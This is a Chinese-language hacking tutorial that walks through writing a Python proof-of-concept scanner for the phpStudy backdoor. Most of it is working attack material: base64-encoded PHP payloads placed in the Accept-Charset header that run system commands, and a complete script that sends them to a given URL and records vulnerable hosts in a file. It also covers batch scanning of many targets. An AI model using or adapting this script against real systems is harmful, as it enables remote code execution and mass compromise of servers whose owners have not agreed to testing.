00x1:
需要用到的模块如下:
import requests
import base64
00x2:
既然是漏洞poc编写,那么我们肯定要有poc,当然直接exp利用也可以
每当爆出新的漏洞,就会有专业大佬进行分析,发出poc,我们直接利用即可
第一个例子,拿phpstudy后门为例
先了解一下base64模块
00x3:
接下来,你需要去了解一下这个后门,网上有很多分析文章
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
了解base64你就可以写一个交互式的Exp
为了确定漏洞准确度,我们可以直接执行输出一个特定字符
cHJpbnRmKG1kNSgzMzMpKTs=
解码得:printf(md5(333));
这样,网页只有这个md5才会确定存在漏洞,准确度极高
这里仅已验证漏洞为例c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==
直接写入了base64验证poc,就不演示交互式的利用了,也是同理
核心代码如下:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip,deflate',
'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==',
'Accept-Language':'zh-CN,zh;q=0.9',
'Connection':'close',
}
主要就是Accept-Charset请求头,接着去写一个请求
r = requests.get(url=url, headers=headers,timeout=5)
if 'xc666' in r.text:
print u'over success:',url
else:
print u'flase:',url
加上结果自动保存:
with open('success.txt','a+') as f:
f.write(url+"\n")
批量检测:
只需要修改最后一行,打开文件遍历url即可,前面讲了,这里就不再多说了
00x5:
完整代码:/books/config/10.[Pyhacker]漏洞Poc编写
#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip,deflate',
'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==',
'Accept-Language':'zh-CN,zh;q=0.9',
'Connection':'close',
}
def phpstudy(url):
try:
if 'http' not in url:
url = 'http://' + url
r = requests.get(url=url, headers=headers,timeout=5)
if 'xc666' in r.text:
print u'over success:',url
with open('success.txt','a+') as f:
f.write(url+"\n")
else:
print u'flase:',url
except:
print u'连接超时',url
if __name__ == '__main__':
url = raw_input('\nurl:')
phpstudy(url)
注:
如Sql,Xss等漏洞的Poc,也是一样,直接请求就ok,然后去验证,大同小异